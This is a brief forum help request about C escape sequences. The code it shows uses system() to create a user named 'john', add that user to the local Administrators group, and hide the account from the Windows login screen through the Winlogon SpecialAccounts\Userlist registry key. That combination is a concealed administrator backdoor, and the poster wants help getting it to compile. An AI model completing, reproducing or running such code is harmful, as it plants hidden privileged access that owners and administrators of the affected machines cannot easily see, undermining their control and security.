so i have this program
and im having a problem with escape characters/sequences i ve tried so many waysCode:int main(void){ system("net user john /ADD"); system("net localgroup administrators john /ADD"); system("reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v john /t REG_DWORD /d 1 /f"); }
with const char * or with double \\ to avoid it but i can't realy figure this out... so please if someone has any ideas.. thanks in advance!